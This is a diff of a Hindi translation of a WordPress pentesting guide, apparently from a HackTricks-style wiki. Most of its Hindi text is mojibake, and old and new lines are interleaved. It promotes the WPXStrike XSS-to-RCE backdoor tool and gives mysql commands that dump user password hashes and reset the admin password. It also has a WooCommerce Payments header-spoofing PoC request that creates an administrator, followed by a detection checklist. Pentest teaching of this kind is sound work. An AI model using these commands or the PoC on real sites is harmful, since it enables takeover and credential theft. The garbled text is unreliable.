Versions 6.X.X, 5.X.X and 4.X.X. and allows to:** +- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ рдПрдХ рдРрд╕рд╛ script рд╣реИ рдЬреЛ Cross-Site Scripting (XSS) vulnerability рдХреЛ Remote Code Execution (RCE) рдпрд╛ рдЕрдиреНрдп critical vulnerabilities рдореЗрдВ escalate рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП design рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ WordPress рдореЗрдВред рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд▓рд┐рдП рджреЗрдЦреЗрдВ [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). рдпрд╣ Wordpress Versions 6.X.X, 5.X.X рдФрд░ 4.X.X рдХреЗ рд▓рд┐рдП support рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИ рдФрд░ рдирд┐рдореНрди рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ: - _**Privilege Escalation:**_ Creates an user in WordPress. +- _**Privilege Escalation:**_ WordPress рдореЗрдВ рдПрдХ user рдмрдирд╛рддрд╛ рд╣реИред - _**(RCE) Custom Plugin (backdoor) Upload:**_ Upload your custom plugin (backdoor) to WordPress. +- _**(RCE) Custom Plugin (backdoor) Upload:**_ рдЕрдкрдирд╛ custom plugin (backdoor) WordPress рдкрд░ upload рдХрд░реЗрдВред - _**(RCE) Built-In Plugin Edit:**_ Edit a Built-In Plugins in WordPress. +- _**(RCE) Built-In Plugin Edit:**_ WordPress рдореЗрдВ Built-In Plugins рдХреЛ edit рдХрд░реЗрдВред - _**(RCE) Built-In Theme Edit:**_ Edit a Built-In Themes in WordPress. +- _**(RCE) Built-In Theme Edit:**_ WordPress рдореЗрдВ Built-In Themes рдХреЛ edit рдХрд░реЗрдВред - _**(Custom) Custom Exploits:**_ Custom Exploits for Third-Party WordPress Plugins/Themes. +- _**(Custom) Custom Exploits:**_ Third-Party WordPress Plugins/Themes рдХреЗ рд▓рд┐рдП Custom Exploitsред +## Post Exploitation ## Post Exploitation Extract usernames and passwords: +рдпреВрдЬрд╝рд░рдиреЗрдо рдФрд░ рдкрд╛рд╕рд╡рд░реНрдб рдирд┐рдХрд╛рд▓реЗрдВ: ```bash mysql -u --password= -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;" ``` -рдПрдбрдорд┐рди рдХрд╛ рдкрд╛рд╕рд╡рд░реНрдб рдмрджрд▓реЗрдВ: +admin password рдмрджрд▓реЗрдВ: ```bash mysql -u --password= -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;" ``` ## Wordpress рдкреНрд▓рдЧрдЗрдиреНрд╕ Pentest -### Attack Surface +### рд╣рдорд▓рд╛ рд╕рддрд╣ -рдпрд╣ рдЬрд╛рдирдирд╛ рдХрд┐ рдХреЛрдИ Wordpress plugin рдХрд┐рд╕ рддрд░рд╣ рдХрд╛рд░реНрдпрдХреНрд╖рдорддрд╛ рдХреЛ expose рдХрд░ рд╕рдХрддрд╛ рд╣реИ, рдЙрд╕рдХреА functionality рдореЗрдВ рдХрдордЬреЛрд░рд┐рдпрд╛рдБ рдЦреЛрдЬрдиреЗ рдХреЗ рд▓рд┐рдП рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИред рдЖрдк рдиреАрдЪреЗ рджрд┐рдП рдЧрдП рдмреБрд▓реЗрдЯ рдкреЙрдЗрдВрдЯреНрд╕ рдореЗрдВ рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рдПрдХ plugin functionality рдХреЛ рдХреИрд╕реЗ expose рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдФрд░ vulnerable plugins рдХреЗ рдХреБрдЫ рдЙрджрд╛рд╣рд░рдг [**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/) рдореЗрдВ рджрд┐рдП рдЧрдП рд╣реИрдВред +рдХрд┐рд╕ рддрд░рд╣ рдПрдХ Wordpress plugin рдЕрдкрдиреА functionality рдХреЛ рдПрдХреНрд╕рдкреЛрдЬрд╝ рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдпрд╣ рдЬрд╛рдирдирд╛ рдЙрд╕рдХреА functionality рдореЗрдВ рдореМрдЬреВрдж vulnerabilities рдЦреЛрдЬрдиреЗ рдХреЗ рд▓рд┐рдП рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИред рдЖрдк рдиреАрдЪреЗ рджрд┐рдП рдЧрдП рдмреБрд▓реЗрдЯ рдкреЙрдЗрдВрдЯреНрд╕ рдореЗрдВ рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рдПрдХ plugin рдХрд┐рд╕ рддрд░рд╣ functionality рдПрдХреНрд╕рдкреЛрдЬрд╝ рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдФрд░ рдХреБрдЫ vulnerable plugins рдХреЗ рдЙрджрд╛рд╣рд░рдг рдЗрд╕ [**blog post**](https://nowotarski.info/wordpress-nonce-authorization/) рдореЗрдВ рджрд┐рдП рдЧрдП рд╣реИрдВред - **`wp_ajax`** -рдПрдХ рддрд░реАрдХреЗ рдЬрд┐рдирд╕реЗ рдПрдХ plugin functions рдХреЛ expose рдХрд░ рд╕рдХрддрд╛ рд╣реИ, рд╡рд╣ AJAX handlers рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╣реЛрддрд╛ рд╣реИред рдЗрдирдореЗрдВ logic, authorization, рдпрд╛ authentication рдмрдЧ рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВред рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдЕрдХреНрд╕рд░ рдпреЗ functions authentication рдФрд░ authorization рджреЛрдиреЛрдВ рдХреЛ рдПрдХ wordpress nonce рдХреА рдореМрдЬреВрджрдЧреА рдкрд░ рдЖрдзрд╛рд░рд┐рдд рдХрд░рддреЗ рд╣реИрдВ рдЬреЛ **any user authenticated in the Wordpress instance might have** (рдЗрд╕рдХреЗ role рд╕реЗ рд╕реНрд╡рддрдВрддреНрд░)ред + Plugin рджреНрд╡рд╛рд░рд╛ functions рдПрдХреНрд╕рдкреЛрдЬрд╝ рдХрд░рдиреЗ рдХреЗ рддрд░реАрдХреЛрдВ рдореЗрдВ рд╕реЗ рдПрдХ рддрд░реАрдХрд╛ AJAX handlers рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╣реЛрддрд╛ рд╣реИред рдЗрдирдореЗрдВ logic, authorization, рдпрд╛ authentication рдмрдЧ рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВред рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдЕрдХреНрд╕рд░ рдРрд╕рд╛ рд╣реЛрддрд╛ рд╣реИ рдХрд┐ рдпреЗ functions authentication рдФрд░ authorization рджреЛрдиреЛрдВ рдХреЛ рдПрдХ wordpress nonce рдХреА рдореМрдЬреВрджрдЧреА рдкрд░ рдЖрдзрд╛рд░рд┐рдд рдХрд░ рджреЗрддреЗ рд╣реИрдВ рдЬреЛ **Wordpress instance рдореЗрдВ рдкреНрд░рдорд╛рдгреАрдХреГрдд рдХрд┐рд╕реА рднреА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рдкрд╛рд╕ рд╣реЛ рд╕рдХрддрд╛ рд╣реИ** (рдЙрд╕рдХреА role рдХреА рдкрд░рд╡рд╛рд╣ рдХрд┐рдП рдмрд┐рдирд╛)ред -рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд functions рд╡реЗ рд╣реИрдВ рдЬрд┐рдиреНрд╣реЗрдВ рдПрдХ plugin рдореЗрдВ рдПрдХ рдлрд╝рдВрдХреНрд╢рди рдХреЛ expose рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЗрд╕реНрддреЗрдорд╛рд▓ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ: + рдпреЗ рд╡реЗ functions рд╣реИрдВ рдЬрд┐рдирдХрд╛ рдЙрдкрдпреЛрдЧ plugin рдореЗрдВ рдХрд┐рд╕реА function рдХреЛ рдПрдХреНрд╕рдкреЛрдЬрд╝ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ: ```php add_action( 'wp_ajax_action_name', array(&$this, 'function_name')); add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name')); ``` -**`nopriv` рдХрд╛ рдЙрдкрдпреЛрдЧ endpoint рдХреЛ рдХрд┐рд╕реА рднреА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ (рдпрд╣рд╛рдБ рддрдХ рдХрд┐ рдЕрдкреНрд░рдорд╛рдгрд┐рдд рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ) рдХреЗ рд▓рд┐рдП рд╕реБрд▓рдн рдмрдирд╛рддрд╛ рд╣реИред** +**`nopriv` рдХрд╛ рдЙрдкрдпреЛрдЧ endpoint рдХреЛ рдХрд┐рд╕реА рднреА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рд▓рд┐рдП рдПрдХреНрд╕реЗрд╕ рдпреЛрдЧреНрдп рдмрдирд╛ рджреЗрддрд╛ рд╣реИ (рдпрд╣рд╛рдБ рддрдХ рдХрд┐ рдмрд┐рдирд╛ рдкреНрд░рдорд╛рдгреАрдХреГрдд рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рднреА)ред** > [!CAUTION] -> рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдЕрдЧрд░ рдлрд╝рдВрдХреНрд╢рди рдХреЗрд╡рд▓ `wp_verify_nonce` рдлрд╝рдВрдХреНрд╢рди рд╕реЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рдЕрдзрд┐рдХрд╛рд░ рдХреА рдЬрд╛рдБрдЪ рдХрд░ рд░рд╣рд╛ рд╣реИ, рддреЛ рдпрд╣ рдлрд╝рдВрдХреНрд╢рди рдХреЗрд╡рд▓ рдпрд╣ рдЬрд╛рдВрдЪрддрд╛ рд╣реИ рдХрд┐ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рд▓реЙрдЧ рдЗрди рд╣реИ; рдпрд╣ рдЖрдо рддреМрд░ рдкрд░ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреА рднреВрдорд┐рдХрд╛ рдХреА рдЬрд╛рдБрдЪ рдирд╣реАрдВ рдХрд░рддрд╛ рд╣реИред рдЗрд╕рд▓рд┐рдП рдХрдо-рдкреНрд░рд┐рд╡рд┐рд▓реЗрдЬрд╝ рд╡рд╛рд▓реЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ рдЙрдЪреНрдЪ-рдкреНрд░рд┐рд╡рд┐рд▓реЗрдЬрд╝ рд╡рд╛рд▓реА рдХреНрд░рд┐рдпрд╛рдУрдВ рддрдХ рдкрд╣реБрдБрдЪ рдорд┐рд▓ рд╕рдХрддреА рд╣реИред +> рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдпрджрд┐ рдлрд╝рдВрдХреНрд╢рди рдХреЗрд╡рд▓ `wp_verify_nonce` рдлрд╝рдВрдХреНрд╢рди рдХреЗ рд╕рд╛рде рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рдкреНрд░рд╛рдзрд┐рдХрд░рдг рдХреА рдЬрд╛рдБрдЪ рдХрд░ рд░рд╣рд╛ рд╣реИ, рддреЛ рдпрд╣ рдлрд╝рдВрдХреНрд╢рди рдХреЗрд╡рд▓ рдпрд╣ рдЬрд╛рдБрдЪрддрд╛ рд╣реИ рдХрд┐ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рд▓реЙрдЧ рдЗрди рд╣реИ; рдпрд╣ рдЖрдо рддреМрд░ рдкрд░ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреА role рдХреА рдЬрд╛рдБрдЪ рдирд╣реАрдВ рдХрд░рддрд╛ред рдЗрд╕рд▓рд┐рдП рдХрдо-рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╡рд╛рд▓реЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЗ рдкрд╛рд╕ рдЙрдЪреНрдЪ-рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╡рд╛рд▓реА рдХреНрд░рд┐рдпрд╛рдУрдВ рддрдХ рдкрд╣реБрдБрдЪ рд╣реЛ рд╕рдХрддреА рд╣реИред - **REST API** -рдпрд╣ рднреА рд╕рдВрднрд╡ рд╣реИ рдХрд┐ `register_rest_route` рдлрд╝рдВрдХреНрд╢рди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ wordpress рд╕реЗ рдлрд╝рдВрдХреНрд╢рдиреНрд╕ рдХреЛ REST API рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдПрдХреНрд╕рдкреЛрдЬрд╝ рдХрд┐рдпрд╛ рдЬрд╛рдП: +рдпрд╣ рднреА рд╕рдВрднрд╡ рд╣реИ рдХрд┐ wordpress рд╕реЗ `register_rest_route` рдлрд╝рдВрдХреНрд╢рди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ REST API рдХреЗ рдЬрд╝рд░рд┐рдП рдлрд╝рдВрдХреНрд╢рдиреНрд╕ рдХреЛ рдПрдХреНрд╕рдкреЛрдЬрд╝ рдХрд┐рдпрд╛ рдЬрд╛рдП: ```php register_rest_route( $this->namespace, '/get/', array( @@ -363,21 +391,21 @@ $this->namespace, '/get/', array( ) ); ``` -The `permission_callback` рдПрдХ callback рдлрд╝рдВрдХреНрд╢рди рд╣реИ рдЬреЛ рдЬрд╛рдВрдЪрддрд╛ рд╣реИ рдХрд┐ рджрд┐рдпрд╛ рдЧрдпрд╛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ API рдореЗрдердб рдХреЛ рдХреЙрд▓ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЕрдзрд┐рдХреГрдд рд╣реИ рдпрд╛ рдирд╣реАрдВред +The `permission_callback` рдПрдХ callback рдлрд╝рдВрдХреНрд╢рди рд╣реИ рдЬреЛ рдЬрд╛рдВрдЪрддрд╛ рд╣реИ рдХрд┐ рдХреЛрдИ рджрд┐рдпрд╛ рдЧрдпрд╛ user API method рдХреЛ рдХреЙрд▓ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП authorized рд╣реИ рдпрд╛ рдирд╣реАрдВред -**рдпрджрд┐ рдмрд┐рд▓реНрдЯ-рдЗрди `__return_true` рдлрд╝рдВрдХреНрд╢рди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рддреЛ рдпрд╣ рдпреВрдЬрд╝рд░ рдкрд░рдорд┐рд╢рди рдЪреЗрдХ рдХреЛ рд╕реАрдзреЗ рд╕реНрдХрд┐рдк рдХрд░ рджреЗрдЧрд╛ред** +**рдЕрдЧрд░ built-in `__return_true` function рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рддреЛ рдпрд╣ user permissions рдЪреЗрдХ рдХреЛ рдмрд╕ рд╕реНрдХрд┐рдк рдХрд░ рджреЗрдЧрд╛ред** -- **php рдлрд╝рд╛рдЗрд▓ рддрдХ рд╕реАрдзреЗ рдПрдХреНрд╕реЗрд╕** +- **php рдлрд╝рд╛рдЗрд▓ рддрдХ рдкреНрд░рддреНрдпрдХреНрд╖ рдкрд╣реБрдБрдЪ** -рдмреЗрд╢рдХ, Wordpress PHP рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ рдФрд░ plugins рдХреЗ рдЕрдВрджрд░ рдХреА рдлрд╛рдЗрд▓реЗрдВ рд╡реЗрдм рд╕реЗ рд╕реАрдзреЗ рдкрд╣реБрдБрдЪрдиреЗ рдпреЛрдЧреНрдп рд╣реЛрддреА рд╣реИрдВред рдЗрд╕рд▓рд┐рдП, рдЕрдЧрд░ рдХреЛрдИ plugin рдХреЛрдИ vulnerable functionality рдПрдХреНрд╕рдкреЛрдЬрд╝ рдХрд░ рд░рд╣рд╛ рд╣реИ рдЬреЛ рд╕рд┐рд░реНрдл рдлрд╛рдЗрд▓ рдХреЛ рдПрдХреНрд╕реЗрд╕ рдХрд░рдиреЗ рдорд╛рддреНрд░ рд╕реЗ рдЯреНрд░рд┐рдЧрд░ рд╣реЛ рдЬрд╛рддреА рд╣реИ, рддреЛ рд╡рд╣ рдХрд┐рд╕реА рднреА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рджреНрд╡рд╛рд░рд╛ exploitable рд╣реЛрдЧреАред +рдмреЗрд╢рдХ, Wordpress PHP рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ рдФрд░ plugins рдХреЗ рдЕрдВрджрд░ рдХреА рдлрд╝рд╛рдЗрд▓реЗрдВ рд╡реЗрдм рд╕реЗ рд╕реАрдзреЗ рдкрд╣реБрдБрдЪ рдпреЛрдЧреНрдп рд╣реЛрддреА рд╣реИрдВред рдЗрд╕рд▓рд┐рдП, рдЕрдЧрд░ рдХреЛрдИ plugin рдХрд┐рд╕реА рднреА vulnerable functionality рдХреЛ рдПрдХреНрд╕рдкреЛрдЬрд╝ рдХрд░ рд░рд╣рд╛ рд╣реИ рдЬреЛ рдХреЗрд╡рд▓ рдлрд╝рд╛рдЗрд▓ рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдорд╛рддреНрд░ рд╕реЗ рдЯреНрд░рд┐рдЧрд░ рд╣реЛ рдЬрд╛рддреА рд╣реИ, рддреЛ рд╡рд╣ рдХрд┐рд╕реА рднреА user рджреНрд╡рд╛рд░рд╛ exploit рдХреА рдЬрд╛ рд╕рдХрддреА рд╣реИред ### Trusted-header REST impersonation (WooCommerce Payments тЙд 5.6.1) -рдХреБрдЫ plugins internal integrations рдпрд╛ reverse proxies рдХреЗ рд▓рд┐рдП тАЬtrusted headerтАЭ shortcuts рд▓рд╛рдЧреВ рдХрд░рддреЗ рд╣реИрдВ рдФрд░ рдлрд┐рд░ рдЙрд╕ header рдХрд╛ рдЙрдкрдпреЛрдЧ REST requests рдХреЗ рд▓рд┐рдП current user context рд╕реЗрдЯ рдХрд░рдиреЗ рдореЗрдВ рдХрд░рддреЗ рд╣реИрдВред рдпрджрд┐ рд╡рд╣ header upstream component рджреНрд╡рд╛рд░рд╛ request рд╕реЗ cryptographically рдмрд╛рдЙрдВрдб рдирд╣реАрдВ рд╣реИ, рддреЛ рдПрдХ attacker рдЙрд╕реЗ spoof рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдФрд░ administrator рдХреЗ рд░реВрдк рдореЗрдВ privileged REST routes рддрдХ рдкрд╣реБрдБрдЪ рд╕рдХрддрд╛ рд╣реИред +рдХреБрдЫ plugins internal integrations рдпрд╛ reverse proxies рдХреЗ рд▓рд┐рдП тАЬtrusted headerтАЭ shortcuts рд▓рд╛рдЧреВ рдХрд░рддреЗ рд╣реИрдВ рдФрд░ рдлрд┐рд░ REST requests рдХреЗ рд▓рд┐рдП current user context рд╕реЗрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрд╕ header рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реИрдВред рдпрджрд┐ header рдХреЛ рдХрд┐рд╕реА upstream component рджреНрд╡рд╛рд░рд╛ cryptographically request рд╕реЗ рдмрд╛рдБрдзрд╛ рдирд╣реАрдВ рдЧрдпрд╛ рд╣реИ, рддреЛ рдПрдХ attacker рдЗрд╕реЗ spoof рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдФрд░ privileged REST routes рдХреЛ administrator рдХреЗ рд░реВрдк рдореЗрдВ рд╣рд┐рдЯ рдХрд░ рд╕рдХрддрд╛ рд╣реИред -- рдкреНрд░рднрд╛рд╡: рдмрд┐рдирд╛ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХреЗ privilege escalation рдХрд░рдХреЗ admin рдмрдирдиреЗ рдХрд╛ рд░рд╛рд╕реНрддрд╛ тАФ core users REST route рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдирдпрд╛ administrator рдмрдирд╛рдХрд░ред -- Example header: `X-Wcpay-Platform-Checkout-User: 1` (рдпрд╣ user ID 1 рдЬрдмрд░рджрд╕реНрддреА рд╕реЗрдЯ рдХрд░рддрд╛ рд╣реИ, рдЖрдо рддреМрд░ рдкрд░ рдкрд╣рд▓рд╛ administrator рдЕрдХрд╛рдЙрдВрдЯ)ред -- Exploited route: `POST /wp-json/wp/v2/users` рдПрдХ elevated role array рдХреЗ рд╕рд╛рдеред +- рдкреНрд░рднрд╛рд╡: core users REST route рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдирдпрд╛ administrator рдмрдирд╛рдХрд░ unauthenticated privilege escalation рдХреЗ рдЬрд░рд┐рдП admin рдЕрдзрд┐рдХрд╛рд░ рдкреНрд░рд╛рдкреНрдд рд╣реЛрдирд╛ред +- Example header: `X-Wcpay-Platform-Checkout-User: 1` (user ID 1 рдХреЛ рдЬрдмрд░рджрд╕реНрддреА рд▓рд╛рдЧреВ рдХрд░рддрд╛ рд╣реИ, рдЖрдо рддреМрд░ рдкрд░ рдкрд╣рд▓рд╛ administrator account). +- Exploited route: `POST /wp-json/wp/v2/users` with an elevated role array. PoC ```http @@ -391,31 +419,31 @@ Content-Length: 114 {"username": "honeypot", "email": "wafdemo@patch.stack", "password": "demo", "roles": ["administrator"]} ``` -рдХреНрдпреЛрдВ рдпрд╣ рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ +Why it works -- рдкреНрд▓рдЧрдЗрди рдПрдХ рдХреНрд▓рд╛рдЗрдВрдЯ-рдирд┐рдпрдВрддреНрд░рд┐рдд рд╣реЗрдбрд░ рдХреЛ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рд╕реНрдерд┐рддрд┐ рд╕реЗ рдореИрдк рдХрд░рддрд╛ рд╣реИ рдФрд░ capability checks рдХреЛ рд╕реНрдХрд┐рдк рдХрд░ рджреЗрддрд╛ рд╣реИред -- WordPress core рдЗрд╕ route рдХреЗ рд▓рд┐рдП `create_users` capability рдХреА рдЕрдкреЗрдХреНрд╖рд╛ рдХрд░рддрд╛ рд╣реИ; рдкреНрд▓рдЧрдЗрди hack рдЗрд╕реЗ рдмрд╛рдЗрдкрд╛рд╕ рдХрд░рддрд╛ рд╣реИ рджреНрд╡рд╛рд░рд╛ рд╣реЗрдбрд░ рд╕реЗ рд╕реАрдзреЗ current user context рд╕реЗрдЯ рдХрд░рдХреЗред +- рдкреНрд▓рдЧрдЗрди рдПрдХ рдХреНрд▓рд╛рдЗрдВрдЯ-рдирд┐рд╣рд┐рдд рд╣реЗрдбрд░ рдХреЛ authentication state рд╕реЗ рдореИрдк рдХрд░рддрд╛ рд╣реИ рдФрд░ capability checks рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░ рджреЗрддрд╛ рд╣реИред +- WordPress core рдЗрд╕ route рдХреЗ рд▓рд┐рдП `create_users` capability рдХреА рдЙрдореНрдореАрдж рдХрд░рддрд╛ рд╣реИ; рдкреНрд▓рдЧрдЗрди hack рдЗрд╕реЗ рдмрд╛рдпрдкрд╛рд╕ рдХрд░ рджреЗрддрд╛ рд╣реИ рд╣реЗрдбрд░ рд╕реЗ рд╕реАрдзреЗ current user context рд╕реЗрдЯ рдХрд░рдХреЗред -рдЕрдкреЗрдХреНрд╖рд┐рдд рд╕рдлрд▓рддрд╛ рд╕рдВрдХреЗрдд +Expected success indicators -- HTTP 201 рдХреЗ рд╕рд╛рде рдПрдХ JSON рдмреЙрдбреА рдЬреЛ рдмрдирд╛рдП рдЧрдП user рдХрд╛ рд╡рд┐рд╡рд░рдг рджреЗрддреА рд╣реИред -- рдПрдХ рдирдпрд╛ admin user рдЬреЛ `wp-admin/users.php` рдореЗрдВ рджрд┐рдЦрд╛рдИ рджреЗрддрд╛ рд╣реИред +- HTTP 201 рдПрдХ JSON рдмреЙрдбреА рдХреЗ рд╕рд╛рде рдЬреЛ рдмрдирд╛рдП рдЧрдП user рдХрд╛ рд╡рд░реНрдгрди рдХрд░рддреА рд╣реИред +- рдПрдХ рдирдпрд╛ admin user рджрд┐рдЦрд╛рдИ рджреЗрдЧрд╛ `wp-admin/users.php` рдореЗрдВред -рдбрд┐рдЯреЗрдХреНрд╢рди рдЪреЗрдХрд▓рд┐рд╕реНрдЯ +Detection checklist -- Grep рдХрд░рдХреЗ рдЦреЛрдЬреЗрдВ `getallheaders()`, `$_SERVER['HTTP_...']`, рдпрд╛ vendor SDKs рдЬреЛ custom headers рдкрдврд╝рдХрд░ user context рд╕реЗрдЯ рдХрд░рддреЗ рд╣реИрдВ (рдЙрджрд╛., `wp_set_current_user()`, `wp_set_auth_cookie()`). -- REST registrations рдХреА рд╕рдореАрдХреНрд╖рд╛ рдХрд░реЗрдВ рддрд╛рдХрд┐ рдРрд╕реЗ privileged callbacks рдорд┐рд▓реЗрдВ рдЬрд┐рдирдореЗрдВ рдордЬрдмреВрдд `permission_callback` checks рдирд╣реАрдВ рд╣реИрдВ рдФрд░ рдЬреЛ request headers рдкрд░ рдирд┐рд░реНрднрд░ рдХрд░рддреЗ рд╣реИрдВред -- рдРрд╕реЗ рдЙрдкрдпреЛрдЧ рдвреВрдБрдвреЗрдВ рдЬрд╣рд╛рдБ core user-management functions (`wp_insert_user`, `wp_create_user`) REST handlers рдХреЗ рдЕрдВрджрд░ рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЧрдП рд╣реИрдВ рдФрд░ рдХреЗрд╡рд▓ header values рд╕реЗ gated рд╣реИрдВред +- `getallheaders()`, `$_SERVER['HTTP_...']`, рдпрд╛ рдРрд╕реЗ vendor SDKs рдХреЗ рд▓рд┐рдП grep рдХрд░реЗрдВ рдЬреЛ рдХрд╕реНрдЯрдо рд╣реЗрдбрд░реНрд╕ рдкрдврд╝рдХрд░ user context рд╕реЗрдЯ рдХрд░рддреЗ рд╣реИрдВ (рдЙрджрд╛., `wp_set_current_user()`, `wp_set_auth_cookie()`). +- рдЙрди REST registrations рдХреА рд╕рдореАрдХреНрд╖рд╛ рдХрд░реЗрдВ рдЬрд┐рдирдХреЗ privileged callbacks рдореЗрдВ рдордЬрдмреВрдд `permission_callback` рдЪреЗрдХ рдирд╣реАрдВ рд╣реИрдВ рдФрд░ рдЬреЛ request headers рдкрд░ рдирд┐рд░реНрднрд░ рдХрд░рддреЗ рд╣реИрдВред +- рдРрд╕реЗ REST handlers рдореЗрдВ core user-management functions (`wp_insert_user`, `wp_create_user`) рдХреЗ рдЙрдкрдпреЛрдЧ рдвреВрдВрдвреЗрдВ рдЬреЛ рдХреЗрд╡рд▓ header values рд╕реЗ рдЧреЗрдЯ рдХрд┐рдП рдЧрдП рд╣реИрдВред -### Unauthenticated Arbitrary File Deletion via wp_ajax_nopriv (Litho Theme <= 3.0) +### wp_ajax_nopriv рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЕрдирдкреНрд░рдорд╛рдгреАрдХреГрдд рдордирдорд╛рдирд╛ рдлрд╝рд╛рдЗрд▓ рд╣рдЯрд╛рдирд╛ (Litho Theme <= 3.0) -WordPress themes рдФрд░ plugins рдЕрдХреНрд╕рд░ `wp_ajax_` рдФрд░ `wp_ajax_nopriv_` hooks рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ AJAX handlers рдХреЛ рдПрдХреНрд╕рдкреЛрдЬрд╝ рдХрд░рддреЗ рд╣реИрдВред рдЬрдм **_nopriv_** variant рдХрд╛ рдЙрдкрдпреЛрдЧ рд╣реЛрддрд╛ рд╣реИ **callback рдЕрдирдкреНрд░рдорд╛рдгреАрдХреГрдд рд╡рд┐рдЬрд╝рд┐рдЯрд░реНрд╕ рдХреЗ рд▓рд┐рдП рдкрд╣реБрдБрдЪ рдпреЛрдЧреНрдп рд╣реЛ рдЬрд╛рддрд╛ рд╣реИ**, рдЗрд╕рд▓рд┐рдП рдХрд┐рд╕реА рднреА рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдХрд╛рд░реНрд░рд╡рд╛рдИ рдХреЛ рдЕрддрд┐рд░рд┐рдХреНрдд рд░реВрдк рд╕реЗ рдпрд╣ рд▓рд╛рдЧреВ рдХрд░рдирд╛ рдЪрд╛рд╣рд┐рдП: +WordPress themes рдФрд░ plugins рдЕрдХреНрд╕рд░ `wp_ajax_` рдФрд░ `wp_ajax_nopriv_` hooks рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ AJAX handlers рдПрдХреНрд╕рдкреЛрдЬрд╝ рдХрд░рддреЗ рд╣реИрдВред рдЬрдм **_nopriv_** variant рдХрд╛ рдЗрд╕реНрддреЗрдорд╛рд▓ рд╣реЛрддрд╛ рд╣реИ **рддреЛ callback рдЕрдирдкреНрд░рдорд╛рдгреАрдХреГрдд рд╡рд┐рдЬрд╝рд┐рдЯрд░ рджреНрд╡рд╛рд░рд╛ рдкрд╣реБрдВрдЪ рдпреЛрдЧреНрдп рд╣реЛ рдЬрд╛рддрд╛ рд╣реИ**, рдЗрд╕рд▓рд┐рдП 